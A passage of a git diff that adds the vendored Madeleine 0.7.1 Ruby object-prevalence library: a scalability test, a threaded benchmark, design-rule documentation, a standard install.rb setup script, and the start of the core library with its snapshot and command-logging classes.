* 16807) % @half_of_the_objects) + end + + def create_test_connection + TransactionConnection.new(@madeleine) + end + + def accquire_connection + @connection_cache_lock.synchronize do + return @connection_cache.empty? ? create_test_connection : @connection_cache.shift + end + end + + def stop_threads + @is_round_finished = true + while @active_round_threads != 0 + sleep(0.001) + end + end + + def create_records(number_of_objects) + result = [] + for i in 0..number_of_objects + result << Record.new(i) + end + result + end + + + def delete_directory(directory_name) + Dir.foreach(directory_name) do |file| + next if file == "." + next if file == ".." + File.delete(directory_name + File::SEPARATOR + file) + end + Dir.delete(directory_name) + end + end + + class TransactionSystem + include Madeleine::Clock::ClockedSystem + + def initialize + @records_by_id = Hash.new + @transaction_lock = Mutex.new + end + + def perform_transaction(record_to_insert, record_to_update, id_to_delete) + @transaction_lock.synchronize do + put(record_to_insert) + put(record_to_update) + @records_by_id.delete(id_to_delete) + end + end + + def put(new_record) + @records_by_id[new_record.id] = new_record + end + + def replace_all_records(new_records) + @records_by_id.clear + new_records.each do |record| + put(record) + end + end + end + + class TransactionConnection + def initialize(madeleine) + @madeleine = madeleine + end + + def perform_transaction(record_to_insert, record_to_update, id_to_delete) + @madeleine.execute_command(TestTransaction.new(record_to_insert, record_to_update, id_to_delete)) + end + end + + class TestTransaction + def initialize(record_to_insert, record_to_update, id_to_delete) + @record_to_insert = record_to_insert + @record_to_update = record_to_update + @id_to_delete = id_to_delete + end + + def execute(system) + system.perform_transaction(@record_to_insert, @record_to_update, @id_to_delete) + end + end + + class Record + attr_reader :id, :name, :string_1, :date_1, :date_2 + + def initialize(id) + @id = id + @name = "NAME" + (id % 10000).to_s + @string_1 = (id % 10000).to_s == 0 ? Record.large_string + id : nil; + @date_1 = Record.random_date + @date_2 = Record.random_date + end + + def self.large_string + [].fill("A", 1..980).to_s + end + + def self.random_date + rand(10000000) + end + end +end + +if __FILE__ == $0 + puts "Madeleine Scalability Test" + puts "Based on Prevaylers Scalability Test" + puts + + Thread.abort_on_exception = true + ScalabilityTest::TransactionTestRun.new +end diff --git a/vendor/madeleine-0.7.1/contrib/threaded_benchmark.rb b/vendor/madeleine-0.7.1/contrib/threaded_benchmark.rb new file mode 100755 index 00000000..5e8f88a7 --- /dev/null +++ b/vendor/madeleine-0.7.1/contrib/threaded_benchmark.rb @@ -0,0 +1,44 @@ +#!/usr/local/bin/ruby -w + +$LOAD_PATH.unshift("../lib") + +require 'madeleine' +require 'batched' + +class BenchmarkCommand + def initialize(value) + @value = value + end + + def execute(system) + # do nothing + end +end + +madeleine = BattchedSnapshotMadeleine.new("benchmark-base") { :the_system } + +RUNS = 200 +THREADS = 10 + +GC.start +GC.disable + +t0 = Time.now + +threads = [] +THREADS.times { + threads << Thread.new { + RUNS.times { + madeleine.execute_command(BenchmarkCommand.new(1234)) + } + } +} +threads.each {|t| t.join } +t1 = Time.now + +GC.enable + +tps = (THREADS * RUNS)/(t1 - t0) + +puts "#{tps.to_i} transactions/s" + diff --git a/vendor/madeleine-0.7.1/docs/.cvsignore b/vendor/madeleine-0.7.1/docs/.cvsignore new file mode 100755 index 00000000..eedd89b4 --- /dev/null +++ b/vendor/madeleine-0.7.1/docs/.cvsignore @@ -0,0 +1 @@ +api diff --git a/vendor/madeleine-0.7.1/docs/designRules.html b/vendor/madeleine-0.7.1/docs/designRules.html new file mode 100755 index 00000000..6361007f --- /dev/null +++ b/vendor/madeleine-0.7.1/docs/designRules.html @@ -0,0 +1,87 @@ + + + +Design rules - Madeleine + + + + + +

    Design rules

    + +

    This is a summary of the design rules your application has to +follow to work with Madeleine. + + +

    The Prevalent System

    + +

    Your objects have to fit into memory

    + +

    All of them. At the same time. + +

    Your objects have to be marshallable

    + +

    Snapshots are taken of the system by marshalling the whole system to a +file. If your classes can't be marshalled/unmarshalled then Madeleine +won't be able to store/restore the system. + +

    Your objects have to be deterministic

    + +

    Deterministic means that, given the same commands, they have +to always give the same results. + +

    For the much of your code this won't +be a problem, but there are a few common issues: + +

    The system clock

    +

    You can't use the system clock (see instead ClockedSystem and TimeActor). + +

    Random numbers

    +

    Kernel.rand() uses the system clock internally by +default. Use Kernel.srand() to seed the random number +generator before using rand(). + +

    Files, network and other IO

    +

    You generally can't access the outside world from within your +prevalent system. Instead do IO outside of the prevalent system and +call into the system when needed. + +

    Changes to the system have to be done through command +objects

    + +

    Everything that modifies the prevalent system must be done through a +command object sent to the Madeleine instance, using +execute_command(aCommand). Queries that don't modify the +system can be done either through direct method calls or through +command objects. + +

    Command Objects

    + +

    A command object is an object that implements the method +execute(system). They are an example of the "Command" +design pattern. + +

    The command objects also have to be marshallable

    + +

    Madeleine keeps track of changes between snapshots by logging +marshalled commands. + +

    The command must raise errors before modifying the system

    + +

    Unlike a RDBMS, Madeleine can't roll back a command (yet). This means +that your commands will have to do their error checking and raise any +errors before modifying the system. Failing to do this will cause an +inconsistent command log. + +

    Command objects can't hold references to the system's objects

    + +

    Unmarshalling such a command would create clones of the original +objects, which would then be modified instead of the real +objects. The commands must find the objects to modify. + +


    + +$Id: designRules.html,v 1.1 2005/01/07 23:03:27 alexeyv Exp $ + + + diff --git a/vendor/madeleine-0.7.1/docs/docs.css b/vendor/madeleine-0.7.1/docs/docs.css new file mode 100755 index 00000000..0c70ccde --- /dev/null +++ b/vendor/madeleine-0.7.1/docs/docs.css @@ -0,0 +1,28 @@ +body { + background-color: #FFFFF0; +} +p { + width: 70ex +} +h1 { + font-family: verdana,arial,helvetica,sans-serif; +} +h2 { + font-family: verdana,arial,helvetica,sans-serif; + background: #EEEEE0; +} +h3 { + font-family: verdana,arial,helvetica,sans-serif; +} +h4 { + font-family: verdana,arial,helvetica,sans-serif; +} +.classMethod { + font-family: courier,monospace; + font-weight: bold; + background: #EEEEE0; +} +.instanceMethod { + font-family: courier,sans-serif; + background: #EEEEE0; +} diff --git a/vendor/madeleine-0.7.1/generate_rdoc.rb b/vendor/madeleine-0.7.1/generate_rdoc.rb new file mode 100755 index 00000000..b4e0ba7b --- /dev/null +++ b/vendor/madeleine-0.7.1/generate_rdoc.rb @@ -0,0 +1,3 @@ +#!/usr/local/bin/ruby + +`rdoc lib --op docs/api` diff --git a/vendor/madeleine-0.7.1/install.rb b/vendor/madeleine-0.7.1/install.rb new file mode 100755 index 00000000..e624774e --- /dev/null +++ b/vendor/madeleine-0.7.1/install.rb @@ -0,0 +1,1098 @@ +# +# This file is automatically generated. DO NOT MODIFY! +# +# install.rb +# +# Copyright (c) 2000-2003 Minero Aoki +# +# This program is free software. +# You can distribute/modify this program under the terms of +# the GNU Lesser General Public License version 2. +# + +### begin compat.rb + +module Enumerable + methods = instance_methods() + + unless methods.include?('map') + alias map collect + end + + unless methods.include?('select') + alias select find_all + end + + unless methods.include?('reject') + def reject + result = [] + each do |i| + result.push i unless yield(i) + end + result + end + end + + unless methods.include?('inject') + def inject( result ) + each do |i| + result = yield(result, i) + end + result + end + end + + unless methods.include?('any?') + def any? + each do |i| + return true if yield(i) + end + false + end + end +end + +def File.read_all( fname ) + File.open(fname, 'rb') {|f| return f.read } +end + +def File.write( fname, str ) + File.open(fname, 'wb') {|f| f.write str } +end + +### end compat.rb +### begin config.rb + +if i = ARGV.index(/\A--rbconfig=/) + file = $' + ARGV.delete_at(i) + require file +else + require 'rbconfig' +end + + +class ConfigTable + + c = ::Config::CONFIG + + rubypath = c['bindir'] + '/' + c['ruby_install_name'] + + major = c['MAJOR'].to_i + minor = c['MINOR'].to_i + teeny = c['TEENY'].to_i + version = "#{major}.#{minor}" + + # ruby ver. >= 1.4.4? + newpath_p = ((major >= 2) or + ((major == 1) and + ((minor >= 5) or + ((minor == 4) and (teeny >= 4))))) + + re = Regexp.new('\A' + Regexp.quote(c['prefix'])) + subprefix = lambda {|path| + re === path and path.sub(re, '$prefix') + } + + if c['rubylibdir'] + # V < 1.6.3 + stdruby = subprefix.call(c['rubylibdir']) + siteruby = subprefix.call(c['sitedir']) + versite = subprefix.call(c['sitelibdir']) + sodir = subprefix.call(c['sitearchdir']) + elsif newpath_p + # 1.4.4 <= V <= 1.6.3 + stdruby = "$prefix/lib/ruby/#{version}" + siteruby = subprefix.call(c['sitedir']) + versite = siteruby + '/' + version + sodir = "$site-ruby/#{c['arch']}" + else + # V < 1.4.4 + stdruby = "$prefix/lib/ruby/#{version}" + siteruby = "$prefix/lib/ruby/#{version}/site_ruby" + versite = siteruby + sodir = "$site-ruby/#{c['arch']}" + end + + DESCRIPTER = [ + [ 'prefix', [ c['prefix'], + 'path', + 'path prefix of target environment' ] ], + [ 'std-ruby', [ stdruby, + 'path', + 'the directory for standard ruby libraries' ] ], + [ 'site-ruby-common', [ siteruby, + 'path', + 'the directory for version-independent non-standard ruby libraries' ] ], + [ 'site-ruby', [ versite, + 'path', + 'the directory for non-standard ruby libraries' ] ], + [ 'bin-dir', [ '$prefix/bin', + 'path', + 'the directory for commands' ] ], + [ 'rb-dir', [ '$site-ruby', + 'path', + 'the directory for ruby scripts' ] ], + [ 'so-dir', [ sodir, + 'path', + 'the directory for ruby extentions' ] ], + [ 'data-dir', [ '$prefix/share', + 'path', + 'the directory for shared data' ] ], + [ 'ruby-path', [ rubypath, + 'path', + 'path to set to #! line' ] ], + [ 'ruby-prog', [ rubypath, + 'name', + 'the ruby program using for installation' ] ], + [ 'make-prog', [ 'make', + 'name', + 'the make program to compile ruby extentions' ] ], + [ 'without-ext', [ 'no', + 'yes/no', + 'does not compile/install ruby extentions' ] ] + ] + + SAVE_FILE = 'config.save' + + def ConfigTable.each_name( &block ) + keys().each(&block) + end + + def ConfigTable.keys + DESCRIPTER.map {|k,*dummy| k } + end + + def ConfigTable.each_definition( &block ) + DESCRIPTER.each(&block) + end + + def ConfigTable.get_entry( name ) + name, ent = DESCRIPTER.assoc(name) + ent + end + + def ConfigTable.get_entry!( name ) + get_entry(name) or raise ArgumentError, "no such config: #{name}" + end + + def ConfigTable.add_entry( name, vals ) + ConfigTable::DESCRIPTER.push [name,vals] + end + + def ConfigTable.remove_entry( name ) + get_entry name or raise ArgumentError, "no such config: #{name}" + DESCRIPTER.delete_if {|n,arr| n == name } + end + + def ConfigTable.config_key?( name ) + get_entry(name) ? true : false + end + + def ConfigTable.bool_config?( name ) + ent = get_entry(name) or return false + ent[1] == 'yes/no' + end + + def ConfigTable.value_config?( name ) + ent = get_entry(name) or return false + ent[1] != 'yes/no' + end + + def ConfigTable.path_config?( name ) + ent = get_entry(name) or return false + ent[1] == 'path' + end + + + class << self + alias newobj new + + def new + c = newobj() + c.__send__ :init + c + end + + def load + c = newobj() + raise InstallError, "#{File.basename $0} config first"\ + unless FileTest.file?(SAVE_FILE) + File.foreach(SAVE_FILE) do |line| + k, v = line.split(/=/, 2) + c.instance_eval { + @table[k] = v.strip + } + end + c + end + end + + def initialize + @table = {} + end + + def init + DESCRIPTER.each do |k, (default, vname, desc, default2)| + @table[k] = default + end + end + private :init + + def save + File.open(SAVE_FILE, 'w') {|f| + @table.each do |k, v| + f.printf "%s=%s\n", k, v if v + end + } + end + + def []=( k, v ) + ConfigTable.config_key? k or raise InstallError, "unknown config option #{k}" + if ConfigTable.path_config? k + @table[k] = (v[0,1] != '$') ? File.expand_path(v) : v + else + @table[k] = v + end + end + + def []( key ) + @table[key] or return nil + @table[key].gsub(%r<\$([^/]+)>) { self[$1] } + end + + def set_raw( key, val ) + @table[key] = val + end + + def get_raw( key ) + @table[key] + end + +end + + +module MetaConfigAPI + + def eval_file_ifexist( fname ) + instance_eval File.read_all(fname), fname, 1 if FileTest.file?(fname) + end + + def config_names + ConfigTable.keys + end + + def config?( name ) + ConfigTable.config_key? name + end + + def bool_config?( name ) + ConfigTable.bool_config? name + end + + def value_config?( name ) + ConfigTable.value_config? name + end + + def path_config?( name ) + ConfigTable.path_config? name + end + + def add_config( name, argname, default, desc ) + ConfigTable.add_entry name,[default,argname,desc] + end + + def add_path_config( name, default, desc ) + add_config name, 'path', default, desc + end + + def add_bool_config( name, default, desc ) + add_config name, 'yes/no', default ? 'yes' : 'no', desc + end + + def set_config_default( name, default ) + if bool_config? name + ConfigTable.get_entry!(name)[0] = default ? 'yes' : 'no' + else + ConfigTable.get_entry!(name)[0] = default + end + end + + def remove_config( name ) + ent = ConfigTable.get_entry(name) + ConfigTable.remove_entry name + ent + end + +end + +### end config.rb +### begin fileop.rb + +module FileOperations + + def mkdir_p( dname, prefix = nil ) + dname = prefix + dname if prefix + $stderr.puts "mkdir -p #{dname}" if verbose? + return if no_harm? + + # does not check '/'... it's too abnormal case + dirs = dname.split(%r<(?=/)>) + if /\A[a-z]:\z/i === dirs[0] + disk = dirs.shift + dirs[0] = disk + dirs[0] + end + dirs.each_index do |idx| + path = dirs[0..idx].join('') + Dir.mkdir path unless dir? path + end + end + + def rm_f( fname ) + $stderr.puts "rm -f #{fname}" if verbose? + return if no_harm? + + if File.exist? fname or File.symlink? fname + File.chmod 0777, fname + File.unlink fname + end + end + + def rm_rf( dn ) + $stderr.puts "rm -rf #{dn}" if verbose? + return if no_harm? + + Dir.chdir dn + Dir.foreach('.') do |fn| + next if fn == '.' + next if fn == '..' + if dir? fn + verbose_off { + rm_rf fn + } + else + verbose_off { + rm_f fn + } + end + end + Dir.chdir '..' + Dir.rmdir dn + end + + def mv( src, dest ) + rm_f dest + begin + File.link src, dest + rescue + File.write dest, File.read_all(src) + File.chmod File.stat(src).mode, dest + end + rm_f src + end + + def install( from, dest, mode, prefix = nil ) + $stderr.puts "install #{from} #{dest}" if verbose? + return if no_harm? + + realdest = prefix + dest if prefix + if dir? realdest + realdest += '/' + File.basename(from) + end + str = File.read_all(from) + if diff? str, realdest + verbose_off { + rm_f realdest if File.exist? realdest + } + File.write realdest, str + File.chmod mode, realdest + + File.open(objdir + '/InstalledFiles', 'a') {|f| f.puts realdest } + end + end + + def diff?( orig, targ ) + return true unless File.exist? targ + orig != File.read_all(targ) + end + + def command( str ) + $stderr.puts str if verbose? + system str or raise RuntimeError, "'system #{str}' failed" + end + + def ruby( str ) + command config('ruby-prog') + ' ' + str + end + + def dir?( dname ) + # for corrupted windows stat() + File.directory?((dname[-1,1] == '/') ? dname : dname + '/') + end + + def all_files_in( dname ) + Dir.open(dname) {|d| + return d.select {|n| FileTest.file? "#{dname}/#{n}" } + } + end + + REJECT_DIRS = %w( + CVS SCCS RCS CVS.adm + ) + + def all_dirs_in( dname ) + Dir.open(dname) {|d| + return d.select {|n| dir? "#{dname}/#{n}" } - %w(. ..) - REJECT_DIRS + } + end + +end + +### end fileop.rb +### begin base.rb + +class InstallError < StandardError; end + + +class Installer + + Version = '3.1.4' + Copyright = 'Copyright (c) 2000-2003 Minero Aoki' + + + @toplevel = nil + + def self.declare_toplevel_installer( inst ) + raise ArgumentError, 'two toplevel installers declared' if @toplevel + @toplevel = inst + end + + def self.toplevel_installer + @toplevel + end + + + FILETYPES = %w( bin lib ext data ) + + include FileOperations + + def initialize( config, opt, srcroot, objroot ) + @config = config + @options = opt + @srcdir = File.expand_path(srcroot) + @objdir = File.expand_path(objroot) + @currdir = '.' + end + + def inspect + "#<#{self.class} #{__id__}>" + end + + # + # configs/options + # + + def get_config( key ) + @config[key] + end + + alias config get_config + + def set_config( key, val ) + @config[key] = val + end + + def no_harm? + @options['no-harm'] + end + + def verbose? + @options['verbose'] + end + + def verbose_off + save, @options['verbose'] = @options['verbose'], false + yield + @options['verbose'] = save + end + + # + # srcdir/objdir + # + + attr_reader :srcdir + alias srcdir_root srcdir + alias package_root srcdir + + def curr_srcdir + "#{@srcdir}/#{@currdir}" + end + + attr_reader :objdir + alias objdir_root objdir + + def curr_objdir + "#{@objdir}/#{@currdir}" + end + + def srcfile( path ) + curr_srcdir + '/' + path + end + + def srcexist?( path ) + File.exist? srcfile(path) + end + + def srcdirectory?( path ) + dir? srcfile(path) + end + + def srcfile?( path ) + FileTest.file? srcfile(path) + end + + def srcentries( path = '.' ) + Dir.open(curr_srcdir + '/' + path) {|d| + return d.to_a - %w(. ..) - hookfilenames + } + end + + def srcfiles( path = '.' ) + srcentries(path).select {|fname| + FileTest.file? File.join(curr_srcdir, path, fname) + } + end + + def srcdirectories( path = '.' ) + srcentries(path).select {|fname| + dir? File.join(curr_srcdir, path, fname) + } + end + + def dive_into( rel ) + return unless dir?("#{@srcdir}/#{rel}") + + dir = File.basename(rel) + Dir.mkdir dir unless dir?(dir) + prevdir = Dir.pwd + Dir.chdir dir + $stderr.puts '---> ' + rel if verbose? + @currdir = rel + yield + Dir.chdir prevdir + $stderr.puts '<--- ' + rel if verbose? + @currdir = File.dirname(rel) + end + + # + # TASK config + # + + def exec_config + exec_task_traverse 'config' + end + + def config_dir_bin( rel ) + end + + def config_dir_lib( rel ) + end + + def config_dir_ext( rel ) + extconf if extdir? curr_srcdir + end + + def extconf + opt = @options['config-opt'].join(' ') + command "#{config('ruby-prog')} #{curr_srcdir}/extconf.rb #{opt}" + end + + def config_dir_data( rel ) + end + + # + # TASK setup + # + + def exec_setup + exec_task_traverse 'setup' + end + + def setup_dir_bin( relpath ) + all_files_in(curr_srcdir()).each do |fname| + add_rubypath "#{curr_srcdir}/#{fname}" + end + end + + SHEBANG_RE = /\A\#!\s*\S*ruby\S*/ + + def add_rubypath( path ) + $stderr.puts %Q if verbose? + return if no_harm? + + tmpfile = File.basename(path) + '.tmp' + begin + File.open(path) {|r| + File.open(tmpfile, 'w') {|w| + first = r.gets + return unless SHEBANG_RE === first # reject '/usr/bin/env ruby' + + w.print first.sub(SHEBANG_RE, '#!' + config('ruby-path')) + w.write r.read + } } + mv tmpfile, File.basename(path) + ensure + rm_f tmpfile if File.exist? tmpfile + end + end + + def setup_dir_lib( relpath ) + end + + def setup_dir_ext( relpath ) + make if extdir?(curr_srcdir) + end + + def setup_dir_data( relpath ) + end + + # + # TASK install + # + + def exec_install + exec_task_traverse 'install' + end + + def install_dir_bin( rel ) + install_files target_filenames(), config('bin-dir') + '/' + rel, 0755 + end + + def install_dir_lib( rel ) + install_files target_filenames(), config('rb-dir') + '/' + rel, 0644 + end + + def install_dir_ext( rel ) + install_dir_ext_main File.dirname(rel) if extdir?(curr_srcdir) + end + + def install_dir_ext_main( rel ) + install_files allext('.'), config('so-dir') + '/' + rel, 0555 + end + + def install_dir_data( rel ) + install_files target_filenames(), config('data-dir') + '/' + rel, 0644 + end + + def install_files( list, dest, mode ) + mkdir_p dest, @options['install-prefix'] + list.each do |fname| + install fname, dest, mode, @options['install-prefix'] + end + end + + def target_filenames + if FileTest.file? "#{curr_srcdir()}/MANIFEST" + mapdir(target_filenames_MANIFEST()) + else + mapdir(target_filenames_AUTO()) + end + end + + def mapdir( filelist ) + filelist.map {|fname| + if File.exist? fname # current objdir == '.' + fname + else + File.join(curr_srcdir(), fname) + end + } + end + + def target_filenames_MANIFEST + File.read_all("#{curr_srcdir()}/MANIFEST").split + end + + # picked up many entries from cvs-1.11.1/src/ignore.c + REJECT_PATTERNS = %w( + core RCSLOG tags TAGS .make.state + .nse_depinfo #* .#* cvslog.* ,* .del-* *.a *.olb *.o *.obj + *.so *.Z *~ *.old *.elc *.ln *.bak *.BAK *.orig *.rej *.exe _$* *$ + + *.org *.in .* + ).map {|pattern| + Regexp.compile('\A' + pattern.gsub(/[\.\$]/) {|s| '\\' + s }.gsub(/\*/, '.*') + '\z') + } + + def target_filenames_AUTO + (existfiles() - hookfiles()).reject {|fname| + REJECT_PATTERNS.any? {|re| re === fname } + } + end + + def existfiles + all_files_in(curr_srcdir()) | all_files_in(curr_objdir()) + end + + def hookfiles + %w( pre-%s post-%s pre-%s.rb post-%s.rb ).map {|fmt| + %w( config setup install clean ).map {|t| sprintf(fmt, t) } + }.flatten + end + + def allext( dir ) + _allext(dir) or raise InstallError, + "no extention exists: Have you done 'ruby #{$0} setup' ?" + end + + DLEXT = /\.#{ ::Config::CONFIG['DLEXT'] }\z/ + + def _allext( dir ) + Dir.open(dir) {|d| + return d.select {|fname| DLEXT === fname } + } + end + + # + # TASK clean + # + + def exec_clean + exec_task_traverse 'clean' + rm_f 'config.save' + rm_f 'InstalledFiles' + end + + def clean_dir_bin( rel ) + end + + def clean_dir_lib( rel ) + end + + def clean_dir_ext( rel ) + make 'clean' if FileTest.file?('Makefile') + end + + def clean_dir_data( rel ) + end + + # + # TASK distclean + # + + def exec_distclean + exec_task_traverse 'distclean' + rm_f 'config.save' + rm_f 'InstalledFiles' + end + + def distclean_dir_bin( rel ) + end + + def distclean_dir_lib( rel ) + end + + def distclean_dir_ext( rel ) + make 'distclean' if FileTest.file?('Makefile') + end + + # + # lib + # + + def make( task = '' ) + command config('make-prog') + ' ' + task + end + + def exec_task_traverse( task ) + run_hook 'pre-' + task + FILETYPES.each do |type| + if config('without-ext') == 'yes' and type == 'ext' + $stderr.puts 'skipping ext/* by user option' if verbose? + next + end + traverse task, type, task + '_dir_' + type + end + run_hook 'post-' + task + end + + def traverse( task, rel, mid ) + dive_into(rel) { + run_hook 'pre-' + task + __send__ mid, rel.sub(%r[\A.*?(?:/|\z)], '') + all_dirs_in(curr_srcdir()).each do |d| + traverse task, rel + '/' + d, mid + end + run_hook 'post-' + task + } + end + + def run_hook( name ) + try_run_hook curr_srcdir + '/' + name or + try_run_hook curr_srcdir + '/' + name + '.rb' + end + + def try_run_hook( fname ) + return false unless FileTest.file?(fname) + + env = self.dup + begin + env.instance_eval File.read_all(fname), fname, 1 + rescue + raise InstallError, "hook #{fname} failed:\n" + $!.message + end + true + end + + def extdir?( dir ) + File.exist? dir + '/MANIFEST' + end + +end + +### end base.rb +### begin toplevel.rb + +class ToplevelInstaller < Installer + + def self.invoke + new(File.dirname($0)).invoke + end + + + TASKS = [ + [ 'config', 'saves your configurations' ], + [ 'show', 'shows current configuration' ], + [ 'setup', 'compiles extention or else' ], + [ 'install', 'installs files' ], + [ 'clean', "does `make clean' for each extention" ], + [ 'distclean',"does `make distclean' for each extention" ] + ] + + + def initialize( root ) + super nil, {'verbose' => true}, root, '.' + Installer.declare_toplevel_installer self + end + + + def invoke + run_metaconfigs + + case task = parsearg_global() + when 'config' + @config = ConfigTable.new + else + @config = ConfigTable.load + end + parsearg_TASK task + + exectask task + end + + include MetaConfigAPI + + def run_metaconfigs + eval_file_ifexist "#{srcdir_root()}/metaconfig" + end + + + def exectask( task ) + if task == 'show' + exec_show + else + try task + end + end + + def try( task ) + $stderr.printf "#{File.basename $0}: entering %s phase...\n", task if verbose? + begin + __send__ 'exec_' + task + rescue + $stderr.printf "%s failed\n", task + raise + end + $stderr.printf "#{File.basename $0}: %s done.\n", task if verbose? + end + + # + # processing arguments + # + + def parsearg_global + task_re = /\A(?:#{TASKS.map {|i| i[0] }.join '|'})\z/ + + while arg = ARGV.shift + case arg + when /\A\w+\z/ + task_re === arg or raise InstallError, "wrong task: #{arg}" + return arg + + when '-q', '--quiet' + @options['verbose'] = false + + when '--verbose' + @options['verbose'] = true + + when '-h', '--help' + print_usage $stdout + exit 0 + + when '-v', '--version' + puts "#{File.basename $0} version #{Version}" + exit 0 + + when '--copyright' + puts Copyright + exit 0 + + else + raise InstallError, "unknown global option '#{arg}'" + end + end + + raise InstallError, "No task or global option given. +Typical installation procedure is: + $ ruby #{File.basename $0} config + $ ruby #{File.basename $0} setup + # ruby #{File.basename $0} install (may require root privilege) +" + end + + + def parsearg_TASK( task ) + mid = "parsearg_#{task}" + if respond_to? mid, true + __send__ mid + else + ARGV.empty? or + raise InstallError, "#{task}: unknown options: #{ARGV.join ' '}" + end + end + + def parsearg_config + re = /\A--(#{ConfigTable.keys.join '|'})(?:=(.*))?\z/ + @options['config-opt'] = [] + + while i = ARGV.shift + if /\A--?\z/ === i + @options['config-opt'] = ARGV.dup + break + end + m = re.match(i) or raise InstallError, "config: unknown option #{i}" + name, value = m.to_a[1,2] + if value + if ConfigTable.bool_config?(name) + /\A(y(es)?|n(o)?|t(rue)?|f(alse))\z/i === value or raise InstallError, "config: --#{name} allows only yes/no for argument" + value = (/\Ay(es)?|\At(rue)/i === value) ? 'yes' : 'no' + end + else + ConfigTable.bool_config?(name) or raise InstallError, "config: --#{name} requires argument" + value = 'yes' + end + @config[name] = value + end + end + + def parsearg_install + @options['no-harm'] = false + @options['install-prefix'] = '' + while a = ARGV.shift + case a + when /\A--no-harm\z/ + @options['no-harm'] = true + when /\A--prefix=(.*)\z/ + path = $1 + path = File.expand_path(path) unless path[0,1] == '/' + @options['install-prefix'] = path + else + raise InstallError, "install: unknown option #{a}" + end + end + end + + + def print_usage( out ) + out.puts 'Typical Installation Procedure:' + out.puts " $ ruby #{File.basename $0} config" + out.puts " $ ruby #{File.basename $0} setup" + out.puts " # ruby #{File.basename $0} install (may require root privilege)" + out.puts + out.puts 'Detailed Usage:' + out.puts " ruby #{File.basename $0} " + out.puts " ruby #{File.basename $0} [] []" + + fmt = " %-20s %s\n" + out.puts + out.puts 'Global options:' + out.printf fmt, '-q,--quiet', 'suppress message outputs' + out.printf fmt, ' --verbose', 'output messages verbosely' + out.printf fmt, '-h,--help', 'print this message' + out.printf fmt, '-v,--version', 'print version and quit' + out.printf fmt, ' --copyright', 'print copyright and quit' + + out.puts + out.puts 'Tasks:' + TASKS.each do |name, desc| + out.printf " %-10s %s\n", name, desc + end + + out.puts + out.puts 'Options for config:' + ConfigTable.each_definition do |name, (default, arg, desc, default2)| + out.printf " %-20s %s [%s]\n", + '--'+ name + (ConfigTable.bool_config?(name) ? '' : '='+arg), + desc, + default2 || default + end + out.printf " %-20s %s [%s]\n", + '--rbconfig=path', 'your rbconfig.rb to load', "running ruby's" + + out.puts + out.puts 'Options for install:' + out.printf " %-20s %s [%s]\n", + '--no-harm', 'only display what to do if given', 'off' + out.printf " %-20s %s [%s]\n", + '--prefix', 'install path prefix', '$prefix' + + out.puts + end + + # + # config + # + + def exec_config + super + @config.save + end + + # + # show + # + + def exec_show + ConfigTable.each_name do |k| + v = @config.get_raw(k) + if not v or v.empty? + v = '(not specified)' + end + printf "%-10s %s\n", k, v + end + end + +end + +### end toplevel.rb + +if $0 == __FILE__ + begin + ToplevelInstaller.invoke + rescue + raise if $DEBUG + $stderr.puts $!.message + $stderr.puts "Try 'ruby #{$0} --help' for detailed usage." + exit 1 + end +end diff --git a/vendor/madeleine-0.7.1/lib/madeleine.rb b/vendor/madeleine-0.7.1/lib/madeleine.rb new file mode 100755 index 00000000..3b6f8fdb --- /dev/null +++ b/vendor/madeleine-0.7.1/lib/madeleine.rb @@ -0,0 +1,420 @@ +# +# Madeleine - Ruby Object Prevalence +# +# Author:: Anders Bengtsson +# Copyright:: Copyright (c) 2003-2004 +# +# Usage: +# +# require 'madeleine' +# +# madeleine = SnapshotMadeleine.new("my_example_storage") { +# SomeExampleApplication.new() +# } +# +# madeleine.execute_command(command) +# + +module Madeleine + + require 'thread' + require 'sync' + require 'madeleine/files' + + MADELEINE_VERSION = "0.7.1" + + class SnapshotMadeleine + + # Builds a new Madeleine instance. If there is a snapshot available + # then the system will be created from that, otherwise + # new_system will be used. The state of the system will + # then be restored from the command logs. + # + # You can provide your own snapshot marshaller, for instance using + # YAML or SOAP, instead of Ruby's built-in marshaller. The + # snapshot_marshaller must respond to + # load(stream) and dump(object, stream). You + # must use the same marshaller every time for a system. + # + # See: DefaultSnapshotMadeleine + # + # * directory_name - Storage directory to use. Will be created if needed. + # * snapshot_marshaller - Marshaller to use for system snapshots. (Optional) + # * new_system_block - Block to create a new system (if no stored system was found). + def self.new(directory_name, snapshot_marshaller=Marshal, &new_system_block) + log_factory = DefaultLogFactory.new + logger = Logger.new(directory_name, + log_factory) + snapshotter = Snapshotter.new(directory_name, + snapshot_marshaller) + lock = DefaultLock.new + recoverer = Recoverer.new(directory_name, + snapshot_marshaller) + system = recoverer.recover_snapshot(new_system_block) + + executer = Executer.new(system) + recoverer.recover_logs(executer) + DefaultSnapshotMadeleine.new(system, logger, snapshotter, lock, executer) + end + end + + class DefaultSnapshotMadeleine + + # The prevalent system + attr_reader :system + + def initialize(system, logger, snapshotter, lock, executer) + @system = system + @logger = logger + @snapshotter = snapshotter + @lock = lock + @executer = executer + + @closed = false + end + + # Execute a command on the prevalent system. + # + # Commands must have a method execute(aSystem). + # Otherwise an error, Madeleine::InvalidCommandException, + # will be raised. + # + # The return value from the command's execute() method is returned. + # + # * command - The command to execute on the system. + def execute_command(command) + verify_command_sane(command) + @lock.synchronize { + raise "closed" if @closed + @logger.store(command) + @executer.execute(command) + } + end + + # Execute a query on the prevalent system. + # + # Only differs from execute_command in that the command/query isn't logged, and + # therefore isn't allowed to modify the system. A shared lock is held, preventing others + # from modifying the system while the query is running. + # + # * query - The query command to execute + def execute_query(query) + @lock.synchronize_shared { + @executer.execute(query) + } + end + + # Take a snapshot of the current system. + # + # You need to regularly take a snapshot of a running system, + # otherwise the logs will grow big and restarting the system will take a + # long time. Your backups must also be done from the snapshot files, + # since you can't make a consistent backup of a live log. + # + # A practical way of doing snapshots is a timer thread: + # + # Thread.new(madeleine) {|madeleine| + # while true + # sleep(60 * 60 * 24) # 24 hours + # madeleine.take_snapshot + # end + # } + def take_snapshot + @lock.synchronize { + @logger.close + @snapshotter.take(@system) + @logger.reset + } + end + + # Close the system. + # + # The log file is closed and no new commands can be received + # by this Madeleine. + def close + @lock.synchronize { + @logger.close + @closed = true + } + end + + private + + def verify_command_sane(command) + unless command.respond_to?(:execute) + raise InvalidCommandException.new("Commands must have an 'execute' method") + end + end + end + + class InvalidCommandException < Exception + end + + # + # Internal classes below + # + + FILE_COUNTER_SIZE = 21 #:nodoc: + + class DefaultLock #:nodoc: + + def initialize + @lock = Sync.new + end + + def synchronize(&block) + @lock.synchronize(&block) + end + + def synchronize_shared(&block) + @lock.synchronize(:SH, &block) + end + end + + class Executer #:nodoc: + + def initialize(system) + @system = system + @in_recovery = false + end + + def 